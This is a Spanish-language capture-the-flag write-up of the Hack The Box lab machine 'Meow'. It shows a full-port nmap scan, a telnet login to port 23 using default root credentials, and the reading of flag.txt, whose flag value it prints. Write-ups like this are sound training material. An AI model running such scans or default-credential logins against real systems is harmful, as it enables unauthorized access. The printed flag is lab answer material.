

## Meow (Linux)

Primero que todo hemos escaneado los puertos abiertos de la IP 10.129.128.251

```
nmap -p- -vvv -n -Pn -T5 --min-rate 5000 -oN puertos.txt 10.129.128.251
```

Nos ha devuelto de informacion lo siguiente:

```
# Nmap 7.94 scan initiated Mon Oct 2 11:25:11 2023 as: nmap -p- -vvv -T5 --min-rate 5000 -Pn -oN puertos.txt 10.129.128.251 # Nmap 7.94 scan initiated Mon Oct 2 11:25:11 2023 as: nmap -p- -vvv -T5 --min-rate 5000 -Pn -oN puertos.txt 10.129.128.251 Marning: 10.129.128.251 giving up on port because retransmission cap hit (2).

Increasing send delay for 10.129.128.251 from 0 to 5 due to 7148 out of 17869 dropped probes since last increase.

Nmap scan report for 10.129.128.251

Host is up, received user-set (0.11s latency).

Scanned at 2023-10-02 11:25:11 EDT for 35s

Not shown: 35503 closed tcp ports (conn-refused), 30031 filtered tcp ports (no-response)

PORT STATE SERVICE REASON

23/tcp open telnet syn-ack

Read data files from: /usr/bin/../share/nmap

# Nmap done at Mon Oct 2 11:25:46 2023 -- 1 IP address (1 host up) scanned in 35.18 seconds
```

Al ver que solo tenemos un puerto abierto (23), probamos con el siguiente comando a entrar:

```
telnet 10.129.128.251
```

Cuando conseguimos entrar nos encontramos con el siguiente login:

```
kelinkali:~/Desktop/yorkox/HTB/Starting Point/meow$ telnet 10.129.128.251
Trying 10.129.128.251...
Connected to 10.129.128.251.
Escape character is '^]'.

Meow login:

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```

Asi que probamos credenciales por defecto en el servicio de telnet,

En este caso probaremos con root:password

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Y nos encontramos con que ya hemos accedido como usuario administrador a la maquina

```
root@Meow:~# ls
flag.txt snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#

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```

Le hacemos un cat al file flag.txt y ya hemos pwneado la maquina.

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